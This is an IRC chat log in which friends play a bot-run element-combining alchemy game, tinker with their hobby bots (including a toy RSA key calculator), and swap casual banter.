[2014-11-28T13:31:36-0500] <alokpathy> I'm done.
[2014-11-28T13:32:28-0500] <+hardmath123> @combine wind earth
[2014-11-28T13:32:29-0500] <al-the-bot> You just discovered mountain (wind + earth)!
[2014-11-28T13:32:30-0500] <+hardmath123> :)
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[2014-11-28T13:32:44-0500] <+hardmath123> @list
[2014-11-28T13:32:44-0500] <al-the-bot> You have: snowman, soil, energy, earth, air, cloud, mountain, sentience, electricity, snow, ice, ent, man, puddle, plant, fire, rain, water, evil, penguin, olaf, light, tree, lightning, sandstorm, steam, wind
[2014-11-28T13:32:44-0500] <al-the-bot> That's 27 out of 84!
[2014-11-28T13:33:10-0500] <@LittleBobbyTables> @combine sentience man
[2014-11-28T13:33:11-0500] <al-the-bot> You just discovered evil (sentience + man)!
[2014-11-28T13:33:22-0500] <@LittleBobbyTables> @combine evil man
[2014-11-28T13:33:22-0500] <al-the-bot> evil and man don't make anything exciting.
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[2014-11-28T13:34:00-0500] <+hardmath123> @list
[2014-11-28T13:34:00-0500] <al-the-bot> You have: snowman, soil, energy, earth, lightning, cloud, mountain, sentience, electricity, snow, ice, ent, man, puddle, plant, fire, rain, water, evil, penguin, olaf, light, tree, air, sandstorm, steam, wind
[2014-11-28T13:34:00-0500] <al-the-bot> That's 27 out of 86!
[2014-11-28T13:35:23-0500] <@LittleBobbyTables> @combine mountain rain
[2014-11-28T13:35:24-0500] <al-the-bot> mountain and rain don't make anything exciting.
[2014-11-28T13:35:27-0500] <@LittleBobbyTables> @moutain water
[2014-11-28T13:35:31-0500] <@LittleBobbyTables> @moutain penguin
[2014-11-28T13:35:34-0500] <@LittleBobbyTables> jk
[2014-11-28T13:35:39-0500] <@LittleBobbyTables> @combine moutain water
[2014-11-28T13:35:39-0500] <al-the-bot> You don't have moutain!
[2014-11-28T13:35:47-0500] <@LittleBobbyTables> @combine mountain water
[2014-11-28T13:35:47-0500] <al-the-bot> mountain and water don't make anything exciting.
[2014-11-28T13:36:18-0500] <alokpathy> @combine mountain snowman
[2014-11-28T13:36:18-0500] <al-the-bot> mountain and snowman don't make anything exciting.
[2014-11-28T13:36:23-0500] <alokpathy> @combine mountain wind
[2014-11-28T13:36:24-0500] <al-the-bot> mountain and wind don't make anything exciting.
[2014-11-28T13:36:28-0500] <alokpathy> @combine mountain snow
[2014-11-28T13:36:29-0500] <al-the-bot> mountain and snow don't make anything exciting.
[2014-11-28T13:37:34-0500] <@LittleBobbyTables> @combine lightning earth
[2014-11-28T13:37:34-0500] <al-the-bot> You just discovered electricity (lightning + earth)!
[2014-11-28T13:37:38-0500] <@LittleBobbyTables> EZ
[2014-11-28T13:38:49-0500] <+hardmath123> @list
[2014-11-28T13:38:50-0500] <al-the-bot> You have: snowman, soil, energy, earth, lightning, cloud, mountain, sentience, electricity, snow, ice, ent, man, puddle, plant, fire, rain, water, evil, penguin, olaf, light, tree, air, sandstorm, steam, wind
[2014-11-28T13:38:50-0500] <al-the-bot> That's 27 out of 86!
[2014-11-28T13:38:59-0500] <@LittleBobbyTables> @combine energy man
[2014-11-28T13:38:59-0500] <al-the-bot> energy and man don't make anything exciting.
[2014-11-28T13:39:06-0500] <@LittleBobbyTables> @combine evil olaf
[2014-11-28T13:39:06-0500] <al-the-bot> evil and olaf don't make anything exciting.
[2014-11-28T13:39:10-0500] <@LittleBobbyTables> @combine evil ent
[2014-11-28T13:39:10-0500] <al-the-bot> evil and ent don't make anything exciting.
[2014-11-28T13:39:15-0500] <@LittleBobbyTables> @combine evil tree
[2014-11-28T13:39:15-0500] <al-the-bot> evil and tree don't make anything exciting.
[2014-11-28T13:39:23-0500] <@LittleBobbyTables> @combine sentience mountain
[2014-11-28T13:39:23-0500] <al-the-bot> sentience and mountain don't make anything exciting.
[2014-11-28T13:39:26-0500] <@LittleBobbyTables> @combine sentience penguin
[2014-11-28T13:39:26-0500] <al-the-bot> sentience and penguin don't make anything exciting.
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[2014-11-28T13:41:14-0500] <+hardmath123> @combine water air
[2014-11-28T13:41:15-0500] <al-the-bot> You just discovered cloud (water + air)!
[2014-11-28T13:41:18-0500] <+hardmath123> aww
[2014-11-28T13:41:21-0500] <+hardmath123> @combine water air
[2014-11-28T13:41:21-0500] <al-the-bot> You just discovered cloud (water + air)!
[2014-11-28T13:41:48-0500] <@LittleBobbyTables> @combine steam energy
[2014-11-28T13:42:06-0500] <+hardmath123> oh no
[2014-11-28T13:42:11-0500] <+hardmath123> al died
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[2014-11-28T13:42:25-0500] <+hardmath123> you need to wait for the ping timeout (120 seconds)
[2014-11-28T13:42:58-0500] <@LittleBobbyTables> What game is it anyway
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[2014-11-28T13:43:08-0500] <@LittleBobbyTables> I've seen a couple versions of this
[2014-11-28T13:43:10-0500] <+hardmath123> @help
[2014-11-28T13:43:10-0500] <badbot> Install Gentoo.
[2014-11-28T13:43:10-0500] <alchemy> To mix a new brew: `@combine <element> <element>`
[2014-11-28T13:43:10-0500] <alchemy> To list your elements: `@list`
[2014-11-28T13:43:13-0500] <+hardmath123> @list
[2014-11-28T13:43:14-0500] <alchemy> You have: snowman, soil, energy, earth, lightning, cloud, mountain, sentience, electricity, snow, ice, ent, man, puddle, plant, fire, rain, water, evil, penguin, olaf, light, tree, air, sandstorm, steam, wind
[2014-11-28T13:43:14-0500] <alchemy> That's 27 out of 86!
[2014-11-28T13:43:20-0500] <+hardmath123> @combine water air
[2014-11-28T13:43:20-0500] <alchemy> You already combined water and air to get cloud
[2014-11-28T13:43:26-0500] <+hardmath123> :D
[2014-11-28T13:43:27-0500] <failedxyz> @combine man cloud
[2014-11-28T13:43:27-0500] <alchemy> man and cloud don't make anything exciting.
[2014-11-28T13:43:30-0500] <failedxyz> dang
[2014-11-28T13:43:47-0500] <failedxyz> @combine cloud water
[2014-11-28T13:43:47-0500] <alchemy> You already combined cloud and water to get rain
[2014-11-28T13:44:27-0500] <@LittleBobbyTables> !combine fire water
[2014-11-28T13:44:34-0500] <@LittleBobbyTables> @combine fire water
[2014-11-28T13:44:34-0500] <alchemy> You already combined fire and water to get steam
[2014-11-28T13:44:37-0500] <@LittleBobbyTables> hmm
[2014-11-28T13:44:40-0500] <@LittleBobbyTables> Different game :/
[2014-11-28T13:44:42-0500] <failedxyz> @combine lightning mountain
[2014-11-28T13:44:42-0500] <alchemy> lightning and mountain don't make anything exciting.
[2014-11-28T13:44:54-0500] <failedxyz> @combine evil water
[2014-11-28T13:44:54-0500] <alchemy> evil and water don't make anything exciting.
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[2014-11-28T13:45:25-0500] <+hardmath123> evil water should be a thing
[2014-11-28T13:45:42-0500] <@LittleBobbyTables> @combine earth fire
[2014-11-28T13:45:42-0500] <alchemy> earth and fire don't make anything exciting.
[2014-11-28T13:45:49-0500] <@LittleBobbyTables> Yeah, this is definitely a different game.
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[2014-11-28T13:46:16-0500] <+hardmath123> it's inspired by the chrome game
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[2014-11-28T13:47:21-0500] <+hardmath123> @combine water air
[2014-11-28T13:47:21-0500] <alchemy> You already combined water and air to get cloud.
[2014-11-28T13:47:24-0500] <+hardmath123> @list
[2014-11-28T13:47:25-0500] <alchemy> You have: snowman, soil, energy, earth, lightning, cloud, mountain, sentience, electricity, snow, ice, ent, man, puddle, plant, fire, rain, water, evil, penguin, olaf, light, tree, air, sandstorm, steam, wind
[2014-11-28T13:47:25-0500] <alchemy> That's 27 out of 87!
[2014-11-28T13:47:50-0500] <Tamini> what is this :P
[2014-11-28T13:48:39-0500] <@LittleBobbyTables> That doesn't seem right though.
[2014-11-28T13:48:46-0500] <@LittleBobbyTables> Because in almost every game, fire + earth makes lava.
[2014-11-28T13:49:06-0500] <Tamini> yeah
[2014-11-28T13:49:23-0500] <Tamini> @combine fire man
[2014-11-28T13:49:23-0500] <alchemy> You just discovered fireman (fire + man)!
[2014-11-28T13:49:29-0500] <@LittleBobbyTables> lmao
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[2014-11-28T13:49:55-0500] Pidgey sets mode +v Tamini
[2014-11-28T13:50:10-0500] <+hardmath123> @combine fire earth
[2014-11-28T13:50:11-0500] <alchemy> fire and earth don't make anything exciting.
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[2014-11-28T13:50:42-0500] <+hardmath123> there
[2014-11-28T13:50:44-0500] <+hardmath123> @list
[2014-11-28T13:50:44-0500] <alchemy> You have: snowman, soil, energy, earth, air, cloud, mountain, sentience, electricity, snow, ice, ent, man, puddle, plant, fireman, fire, rain, water, evil, penguin, olaf, light, tree, lightning, sandstorm, steam, wind
[2014-11-28T13:50:44-0500] <alchemy> That's 28 out of 90!
[2014-11-28T13:51:03-0500] <@LittleBobbyTables> @combine fire earth
[2014-11-28T13:51:04-0500] <alchemy> You just discovered lava (fire + earth)!
[2014-11-28T13:51:07-0500] <@LittleBobbyTables> :P
[2014-11-28T13:51:11-0500] <@LittleBobbyTables> Are you just adding things as you go lol
[2014-11-28T13:51:54-0500] <+hardmath123> yeah
[2014-11-28T13:54:25-0500] <+hardmath123> you guys haven't made awe yet. I'm disappointed.
[2014-11-28T13:54:39-0500] <@awe> @combine evil man
[2014-11-28T13:54:40-0500] <alchemy> You just discovered villain (evil + man)!
[2014-11-28T13:54:49-0500] <@awe> hardmath123: I tried but it made a villain instead of me.
[2014-11-28T13:55:36-0500] <+hardmath123> you can also make stallman
[2014-11-28T13:56:50-0500] <+Tamini> @combine penguin man
[2014-11-28T13:56:51-0500] <alchemy> penguin and man don't make anything exciting.
[2014-11-28T13:57:03-0500] <@awe> @combine evil penguin
[2014-11-28T13:57:04-0500] <alchemy> evil and penguin don't make anything exciting.
[2014-11-28T13:57:06-0500] <+Tamini> @combine light man
[2014-11-28T13:57:06-0500] <alchemy> light and man don't make anything exciting.
[2014-11-28T13:57:10-0500] <@awe> hardmath123: Yeah, you definitely can't make me.
[2014-11-28T13:57:13-0500] <@awe> hardmath123: I'm an evil penguin.
[2014-11-28T13:57:20-0500] <@LittleBobbyTables> @combine evil villain
[2014-11-28T13:57:20-0500] <alchemy> evil and villain don't make anything exciting.
[2014-11-28T13:57:36-0500] <+Tamini> @combine energy man
[2014-11-28T13:57:36-0500] <alchemy> energy and man don't make anything exciting.
[2014-11-28T13:57:37-0500] <@LittleBobbyTables> @combine sentience evil
[2014-11-28T13:57:38-0500] <alchemy> sentience and evil don't make anything exciting.
[2014-11-28T13:57:43-0500] <@LittleBobbyTables> @combine sentience villain
[2014-11-28T13:57:43-0500] <alchemy> sentience and villain don't make anything exciting.
[2014-11-28T13:57:44-0500] <+Tamini> @combine evil energy
[2014-11-28T13:57:44-0500] <alchemy> evil and energy don't make anything exciting.
[2014-11-28T13:58:18-0500] <+hardmath123> awe: hint--you're rust man
[2014-11-28T13:58:27-0500] <+Tamini> OH LOL
[2014-11-28T13:58:30-0500] <@awe> I don't know how to make metal though.
[2014-11-28T13:58:35-0500] <@awe> @combine earth earth
[2014-11-28T13:58:35-0500] <alchemy> earth and earth don't make anything exciting.
[2014-11-28T13:58:38-0500] <+hardmath123> @list
[2014-11-28T13:58:39-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, sentience, electricity, snow, ice, ent, man, puddle, plant, fireman, fire, rain, water, evil, penguin, olaf, light, tree, lightning, sandstorm, steam, wind
[2014-11-28T13:58:39-0500] <alchemy> That's 30 out of 90!
[2014-11-28T13:58:41-0500] <+Tamini> its usually a stone derivative
[2014-11-28T13:58:46-0500] <+Tamini> ooh
[2014-11-28T13:58:47-0500] <@awe> We don't have stone.
[2014-11-28T13:58:53-0500] <+Tamini> @combine lava water
[2014-11-28T13:58:53-0500] <alchemy> You just discovered stone (lava + water)!
[2014-11-28T13:58:56-0500] <@awe> Ah.
[2014-11-28T13:58:57-0500] <@awe> @combine stone stone
[2014-11-28T13:58:58-0500] <alchemy> stone and stone don't make anything exciting.
[2014-11-28T13:58:59-0500] <+Tamini> @combine stone fire
[2014-11-28T13:59:00-0500] <alchemy> stone and fire don't make anything exciting.
[2014-11-28T13:59:02-0500] <@awe> @combine stone water
[2014-11-28T13:59:03-0500] <alchemy> stone and water don't make anything exciting.
[2014-11-28T13:59:08-0500] <+Tamini> @combine lava air
[2014-11-28T13:59:09-0500] <alchemy> lava and air don't make anything exciting.
[2014-11-28T13:59:12-0500] <+hardmath123> i want to open-source this without giving away the answers
[2014-11-28T13:59:14-0500] <+hardmath123> :/
[2014-11-28T13:59:21-0500] <+Tamini> @combine stone energy
[2014-11-28T13:59:21-0500] <alchemy> stone and energy don't make anything exciting.
[2014-11-28T13:59:27-0500] <@awe> hardmath123: If I were to make this, I'd use a serialized hashmap
[2014-11-28T13:59:43-0500] <@awe> hardmath123: so, the combinations would be stored in a json file and it'd load them from that.
[2014-11-28T14:00:10-0500] <@awe> hardmath123: it's easy to implement because all you do is look up both tokens as a pair in the hashmap
[2014-11-28T14:00:26-0500] <+hardmath123> awe: combinations are stored in a python file as a list of tuples (first, second, result)
[2014-11-28T14:00:40-0500] <+hardmath123> awe: lookup is O(n), but with <100 elements it's not an issue
[2014-11-28T14:00:53-0500] <+hardmath123> Tamini: mountain is a think
[2014-11-28T14:00:59-0500] <+hardmath123> s/think/thing
[2014-11-28T14:00:59-0500] <goodbot> hardmath123 meant to say: Tamini: mountain is a thing
[2014-11-28T14:01:05-0500] <+Tamini> @combine mountain stone
[2014-11-28T14:01:05-0500] <alchemy> mountain and stone don't make anything exciting.
[2014-11-28T14:01:06-0500] <+Tamini> :D
[2014-11-28T14:01:11-0500] <+Tamini> @combine mountain man
[2014-11-28T14:01:12-0500] <alchemy> mountain and man don't make anything exciting.
[2014-11-28T14:01:13-0500] <+hardmath123> <3 goodbot
[2014-11-28T14:01:23-0500] <+Tamini> @combine mountain fire
[2014-11-28T14:01:23-0500] <alchemy> mountain and fire don't make anything exciting.
[2014-11-28T14:01:27-0500] <Hcnsh> @list
[2014-11-28T14:01:27-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, sentience, electricity, snow, ice, ent, man, puddle, plant, fireman, fire, rain, water, evil, penguin, stone, olaf, light, tree, lightning, sandstorm, steam, wind
[2014-11-28T14:01:27-0500] <alchemy> That's 31 out of 90!
[2014-11-28T14:01:38-0500] <Hcnsh> @combine snowman villain
[2014-11-28T14:01:38-0500] <alchemy> snowman and villain don't make anything exciting.
[2014-11-28T14:01:40-0500] <+Tamini> @combine mountain wind
[2014-11-28T14:01:40-0500] <alchemy> mountain and wind don't make anything exciting.
[2014-11-28T14:01:43-0500] <Hcnsh> @combine snowman sentience
[2014-11-28T14:01:44-0500] <alchemy> You already combined snowman and sentience to get olaf.
[2014-11-28T14:02:01-0500] <@awe> hardmath123: I'd do json just because it's easily supported in Rust.
[2014-11-28T14:02:07-0500] <Hcnsh> .wiki olaf
[2014-11-28T14:02:08-0500] <goodbot> "The European Anti-fraud Office (commonly known as OLAF, from French: Office européen de lutte antifraude) is charged by the European Union with protecting the financial interests of the European Union: Its tasks are to fight fraud affecting the EU budget, as well as corruption and any other irregular..." - http://en.wikipedia.org/wiki/European_Anti-fraud_Office
[2014-11-28T14:02:09-0500] <+Tamini> @combine stone man
[2014-11-28T14:02:10-0500] <alchemy> You just discovered neanderthal (stone + man)!
[2014-11-28T14:02:23-0500] <@awe> @combine stone lava
[2014-11-28T14:02:23-0500] <alchemy> stone and lava don't make anything exciting.
[2014-11-28T14:02:25-0500] <@awe> @combine stone energy
[2014-11-28T14:02:25-0500] <alchemy> stone and energy don't make anything exciting.
[2014-11-28T14:02:27-0500] <Hcnsh> .g olaf
[2014-11-28T14:02:27-0500] <goodbot> Hcnsh: http://en.wikipedia.org/wiki/Olaf_(Disney)
[2014-11-28T14:02:38-0500] <+Tamini> why isnt firestone metal :(
[2014-11-28T14:02:50-0500] <+hardmath123> because i made this at 11pm when i wasn't thinking straight
[2014-11-28T14:02:53-0500] <+Tamini> @combine fire plant
[2014-11-28T14:02:53-0500] <alchemy> fire and plant don't make anything exciting.
[2014-11-28T14:03:06-0500] <+Tamini> @combine electricity stone
[2014-11-28T14:03:07-0500] <alchemy> electricity and stone don't make anything exciting.
[2014-11-28T14:03:25-0500] <+hardmath123> awe: my initial idea was to abuse operator overloading to make the syntax "NEW = SOME + THING"
[2014-11-28T14:03:39-0500] <@awe> Hah, that'd be interesting.
[2014-11-28T14:04:07-0500] <Hcnsh> NewElement = SomeElement + SomeOtherElemenet?
[2014-11-28T14:04:29-0500] <Hcnsh> I wouldn't say "abusing", just "unconventional and should probably be limited in scope".
[2014-11-28T14:04:44-0500] <+hardmath123> in python, that's probably abusing
[2014-11-28T14:05:29-0500] <Hcnsh> .<3
[2014-11-28T14:05:29-0500] <goodbot> <3 Hcnsh
[2014-11-28T14:05:35-0500] <Hcnsh> awe, try it
[2014-11-28T14:05:48-0500] <Hcnsh> hi goodbot
[2014-11-28T14:05:48-0500] <goodbot> Hello Hcnsh!
[2014-11-28T14:05:54-0500] <@awe> .<3
[2014-11-28T14:05:54-0500] <goodbot> gtfo awe, no one loves you besides your friends and family.
[2014-11-28T14:05:59-0500] <@awe> That's uhh...
[2014-11-28T14:06:02-0500] <@awe> Not really insulting.
[2014-11-28T14:06:08-0500] <Hcnsh> ...
[2014-11-28T14:06:10-0500] <Hcnsh> plis
[2014-11-28T14:06:12-0500] <@awe> I'm not sure how to feel.
[2014-11-28T14:06:13-0500] <+hardmath123> awe has friends?
[2014-11-28T14:06:18-0500] <@awe> hardmath123: ouch.
[2014-11-28T14:06:21-0500] <+Tamini> LOL
[2014-11-28T14:06:23-0500] <+Tamini> .<3
[2014-11-28T14:06:23-0500] <goodbot> <3 Tamini
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[2014-11-28T14:06:33-0500] <+hardmath123> Tamini: stonefire is metal now
[2014-11-28T14:06:35-0500] <+hardmath123> :)
[2014-11-28T14:06:37-0500] <@awe> @combine stone fire
[2014-11-28T14:06:38-0500] <alchemy> You just discovered metal (stone + fire)!
[2014-11-28T14:06:41-0500] <@awe> @combine metal water
[2014-11-28T14:06:41-0500] <alchemy> You just discovered rust (metal + water)!
[2014-11-28T14:06:43-0500] <@awe> @combine rust ma
[2014-11-28T14:06:44-0500] <alchemy> You don't have ma!
[2014-11-28T14:06:44-0500] <Hcnsh> @combine snowman sentience
[2014-11-28T14:06:44-0500] <@awe> @combine rust man
[2014-11-28T14:06:44-0500] <alchemy> You already combined snowman and sentience to get olaf.
[2014-11-28T14:06:45-0500] <alchemy> You just discovered awe (rust + man)!
[2014-11-28T14:06:46-0500] <Hcnsh> @list
[2014-11-28T14:06:47-0500] <alchemy> You have: snowman, soil, energy, villain, ice, earth, lightning, cloud, mountain, neanderthal, sentience, electricity, snow, lava, ent, penguin, puddle, plant, fireman, fire, metal, rain, water, evil, awe, man, stone, olaf, light, tree, air, sandstorm, rust, steam, wind
[2014-11-28T14:06:47-0500] <alchemy> That's 35 out of 90!
[2014-11-28T14:06:47-0500] <@awe> @combine awe awe
[2014-11-28T14:06:47-0500] <alchemy> awe and awe don't make anything exciting.
[2014-11-28T14:06:50-0500] <@awe> @combine energy awe
[2014-11-28T14:06:50-0500] <alchemy> energy and awe don't make anything exciting.
[2014-11-28T14:06:52-0500] <@awe> @combine evil awe
[2014-11-28T14:06:53-0500] <alchemy> evil and awe don't make anything exciting.
[2014-11-28T14:06:55-0500] <@awe> @combine sentience awe
[2014-11-28T14:06:55-0500] <alchemy> sentience and awe don't make anything exciting.
[2014-11-28T14:06:57-0500] <+Tamini> @combine awe fire
[2014-11-28T14:06:58-0500] <alchemy> awe and fire don't make anything exciting.
[2014-11-28T14:07:07-0500] <@awe> hardmath123: so much pings
[2014-11-28T14:07:08-0500] <+Tamini> wow i love how
[2014-11-28T14:07:13-0500] <+Tamini> awe gets a character and we dont
[2014-11-28T14:07:18-0500] <@awe> Tamini: you don't want one.
[2014-11-28T14:07:21-0500] <@awe> Tamini: SO MANY PINGS.
[2014-11-28T14:07:29-0500] <+Tamini> :P
[2014-11-28T14:07:30-0500] <+hardmath123> @list
[2014-11-28T14:07:30-0500] <alchemy> You have: snowman, soil, energy, villain, ice, earth, lightning, cloud, mountain, neanderthal, sentience, electricity, snow, lava, ent, penguin, puddle, plant, fireman, fire, metal, rain, water, evil, awe, man, stone, olaf, light, tree, air, sandstorm, rust, steam, wind
[2014-11-28T14:07:30-0500] <alchemy> That's 35 out of 90!
[2014-11-28T14:07:43-0500] <+hardmath123> now everytime we list, awe gets pinged
[2014-11-28T14:07:47-0500] <Hcnsh> @list
[2014-11-28T14:07:48-0500] <alchemy> You have: snowman, soil, energy, villain, ice, earth, lightning, cloud, mountain, neanderthal, sentience, electricity, snow, lava, ent, penguin, puddle, plant, fireman, fire, metal, rain, water, evil, awe, man, stone, olaf, light, tree, air, sandstorm, rust, steam, wind
[2014-11-28T14:07:48-0500] <alchemy> That's 35 out of 90!
[2014-11-28T14:08:03-0500] <Hcnsh> @combine fire sandstorm
[2014-11-28T14:08:04-0500] <alchemy> fire and sandstorm don't make anything exciting.
[2014-11-28T14:08:09-0500] <Hcnsh> @combine lightning cloud
[2014-11-28T14:08:09-0500] <alchemy> lightning and cloud don't make anything exciting.
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[2014-11-28T14:12:41-0500] <+hardmath123> @list
[2014-11-28T14:12:41-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, ent, man, puddle, plant, fireman, fire
[2014-11-28T14:12:41-0500] <alchemy> You have: tree, rain, water, evil, awe, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, steam, rust
[2014-11-28T14:12:41-0500] <alchemy> That's 35 out of 92!
[2014-11-28T14:12:45-0500] <+hardmath123> whew
[2014-11-28T14:12:51-0500] <Hcnsh> ?
[2014-11-28T14:13:03-0500] <+hardmath123> eventually i was going to exceed irc message length
[2014-11-28T14:13:26-0500] <+hardmath123> so i made it break at every 20 words
[2014-11-28T14:16:13-0500] <Hcnsh> goodbot, load testing.py
[2014-11-28T14:16:13-0500] <goodbot> Hcnsh: Module testing.py not found
[2014-11-28T14:16:24-0500] <Hcnsh> goodbot, load /home/blob/.willie/modules/testing.py
[2014-11-28T14:16:24-0500] <goodbot> Hcnsh: Module /home/blob/.willie/modules/testing.py not found
[2014-11-28T14:16:45-0500] <Hcnsh> goodbot, load /home/blob/.willie/modules/testing.py
[2014-11-28T14:16:45-0500] <goodbot> Hcnsh: Module /home/blob/.willie/modules/testing.py not found
[2014-11-28T14:17:07-0500] <Hcnsh> goodbot, load *
[2014-11-28T14:17:07-0500] <goodbot> Hcnsh: Module * not found
[2014-11-28T14:17:11-0500] <Hcnsh> goodbot, reload *
[2014-11-28T14:17:11-0500] <goodbot> Hcnsh: done
[2014-11-28T14:17:16-0500] <Hcnsh> .test 1 2 3 4
[2014-11-28T14:17:16-0500] <goodbot> test
[2014-11-28T14:17:17-0500] <goodbot> 1 2 3 4
[2014-11-28T14:17:18-0500] <goodbot> 1
[2014-11-28T14:17:18-0500] <goodbot> 2
[2014-11-28T14:18:13-0500] <+hardmath123> goodbot, load testing
[2014-11-28T14:18:20-0500] <Hcnsh> plis
[2014-11-28T14:23:14-0500] <@LittleBobbyTables> Sweet. Got a $750 build under 700 bucks
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[2014-11-28T14:30:27-0500] <@awe> @tell Hcnsh eat a dick
[2014-11-28T14:30:32-0500] <@awe> Hcnsh: say something
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[2014-11-28T14:30:39-0500] <@awe> Oops.
[2014-11-28T14:30:41-0500] <Hcnsh> ..
[2014-11-28T14:30:44-0500] <Hcnsh> .tell awe eat a dick
[2014-11-28T14:30:44-0500] <goodbot> OperationalError: near "<": syntax error (file "/home/blob/Documents/python/willie/willie/db.py", line 756, in contains)
[2014-11-28T14:30:46-0500] <Hcnsh> :C
[2014-11-28T14:31:03-0500] <Hcnsh> stupid database errors
[2014-11-28T14:32:47-0500] <@awe> You've met with a terrible fate, haven't you?
[2014-11-28T14:32:47-0500] <@awe> fatal runtime error:  assertion failed: queue != 0
[2014-11-28T14:32:49-0500] <@awe> Lol.
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[2014-11-28T14:37:30-0500] <@awe> @tell Hcnsh eat a dick
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[2014-11-28T14:37:33-0500] <@awe> lol
[2014-11-28T14:38:21-0500] <@awe> I don't know what's up with this.
[2014-11-28T14:38:31-0500] <Hcnsh> goodbot, reload *
[2014-11-28T14:38:32-0500] <goodbot> Hcnsh: done
[2014-11-28T14:38:40-0500] <Hcnsh> .RSA 13 17
[2014-11-28T14:39:11-0500] <Hcnsh> .RSA g 13 17
[2014-11-28T14:39:11-0500] <goodbot> Error.
[2014-11-28T14:39:20-0500] <+hardmath123> .math 1+2
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[2014-11-28T14:39:25-0500] <@awe> @tell Hcnsh eat a dick
[2014-11-28T14:39:25-0500] <awebot> I'll do it when I see them!
[2014-11-28T14:39:28-0500] <@awe> g
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[2014-11-28T14:39:37-0500] <@awe> I don't get it.
[2014-11-28T14:39:59-0500] <Hcnsh> .RSA g 3485831 1273231
[2014-11-28T14:39:59-0500] <goodbot> Error.
[2014-11-28T14:40:02-0500] <Hcnsh> plis goodbot
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[2014-11-28T14:40:32-0500] <@awe> hm
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[2014-11-28T14:40:36-0500] <@awe> Okay.
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[2014-11-28T14:40:57-0500] <@awe> hmm
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[2014-11-28T14:40:59-0500] <Hcnsh> .<3
[2014-11-28T14:40:59-0500] <goodbot> <3 Hcnsh
[2014-11-28T14:41:24-0500] <Hcnsh> goodbot, reload *
[2014-11-28T14:41:24-0500] <goodbot> Hcnsh: done
[2014-11-28T14:41:28-0500] <Hcnsh> .RSA g 13 17
[2014-11-28T14:42:59-0500] <Hcnsh> goodbot, reload *
[2014-11-28T14:42:59-0500] <goodbot> Hcnsh: done
[2014-11-28T14:43:03-0500] <Hcnsh> .RSA g 13 17
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[2014-11-28T14:43:34-0500] <Hcnsh> goodbot, reload *
[2014-11-28T14:43:34-0500] <goodbot> Hcnsh: done
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[2014-11-28T14:43:42-0500] <Hcnsh> .RSA g 13 17
[2014-11-28T14:43:42-0500] <@awe> I do not understand.
[2014-11-28T14:44:06-0500] <Hcnsh> goodbot, reload *
[2014-11-28T14:44:06-0500] <goodbot> Hcnsh: done
[2014-11-28T14:44:09-0500] <Hcnsh> .RSA g 13 17
[2014-11-28T14:44:12-0500] <Hcnsh> .poophead
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[2014-11-28T14:44:20-0500] <@awe> hm
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[2014-11-28T14:44:20-0500] <Hcnsh> .RSA 13 17
[2014-11-28T14:44:25-0500] <Hcnsh> .RSA g 13 17
[2014-11-28T14:44:34-0500] <Hcnsh> .test hi wot 3
[2014-11-28T14:44:42-0500] <Hcnsh> urgh
[2014-11-28T14:44:48-0500] <@awe> Sigh, I can't connect because throttled.
[2014-11-28T14:44:57-0500] <+hardmath123> happens to me, too
[2014-11-28T14:45:30-0500] <@awe> Wow, it does throttling by username, too.
[2014-11-28T14:45:35-0500] <@awe> I changed IPs and still throttled.
[2014-11-28T14:45:55-0500] Disconnected
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[2014-11-28T14:45:57-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg
[2014-11-28T14:45:57-0500] Set by Pidgey on November 27, 2014 at 3:57:17 PM EST
[2014-11-28T14:45:58-0500] Mode is +nt
[2014-11-28T14:45:59-0500] <@awe> test
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[2014-11-28T14:46:04-0500] <@awe> Sigh.
[2014-11-28T14:46:05-0500] <Hcnsh> lolwat
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[2014-11-28T14:46:13-0500] <@awe> jes
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[2014-11-28T14:46:14-0500] <Hcnsh> is it on github? link?
[2014-11-28T14:46:23-0500] <@awe> This plugin isn't up yet.
[2014-11-28T14:46:47-0500] <@awe> Must be related to cloning a timespec.
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[2014-11-28T14:47:22-0500] <Hcnsh> goodbot, reload *
[2014-11-28T14:47:22-0500] <goodbot> Hcnsh: done
[2014-11-28T14:47:25-0500] <Hcnsh> .RSA g 13 17
[2014-11-28T14:47:25-0500] <goodbot> bp
[2014-11-28T14:47:26-0500] <goodbot> Compooting g
[2014-11-28T14:47:27-0500] <goodbot> N: 221
[2014-11-28T14:47:27-0500] <goodbot> Totient(N): 192
[2014-11-28T14:47:28-0500] <goodbot> e: 59
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[2014-11-28T14:47:29-0500] <goodbot> d: 179
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[2014-11-28T14:47:31-0500] <Hcnsh> woot
[2014-11-28T14:47:36-0500] <Hcnsh> can someone check if it works?
[2014-11-28T14:47:57-0500] <@awe> Hcnsh: what sort of something?
[2014-11-28T14:48:06-0500] <Hcnsh> ?
[2014-11-28T14:48:10-0500] <@awe> Oh
[2014-11-28T14:48:12-0500] <@awe> I misread.
[2014-11-28T14:48:21-0500] <@awe> I read it as "can I check if something works?"
[2014-11-28T14:48:23-0500] <@awe> I don't know why.
[2014-11-28T14:48:52-0500] <Hcnsh> awe, don't you <3 my bot? show it you appreciate it by doing .<3
[2014-11-28T14:48:57-0500] <Hcnsh> plis
[2014-11-28T14:48:57-0500] <+Tamini> lol
[2014-11-28T14:49:00-0500] <+Tamini> .<3
[2014-11-28T14:49:00-0500] <goodbot> <3 Tamini
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[2014-11-28T14:49:14-0500] <@awe> h
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[2014-11-28T14:49:17-0500] <+Tamini> is it rigged by % or by awe
[2014-11-28T14:49:20-0500] <@awe> Literally what?
[2014-11-28T14:49:32-0500] <Hcnsh> by awe
[2014-11-28T14:50:13-0500] <@LittleBobbyTables> Damn it. All the 290's are out of stock
[2014-11-28T14:50:16-0500] <@awe> Cloning a timespec is fine.
[2014-11-28T14:50:19-0500] <@LittleBobbyTables> For 200 bucks :/
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[2014-11-28T14:51:11-0500] <@awe> h
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[2014-11-28T14:51:30-0500] <@awe> hi
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[2014-11-28T14:51:33-0500] <@awe> ???
[2014-11-28T14:51:57-0500] <+hardmath123> .<3
[2014-11-28T14:51:57-0500] <goodbot> <3 hardmath123
[2014-11-28T14:52:05-0500] <alokpathy> hi goodbot 
[2014-11-28T14:52:05-0500] <goodbot> Hello alokpathy
[2014-11-28T14:52:06-0500] • hardmath123: isn't blacklisted
[2014-11-28T14:52:13-0500] <alokpathy> .<3
[2014-11-28T14:52:13-0500] <goodbot> <3 alokpathy
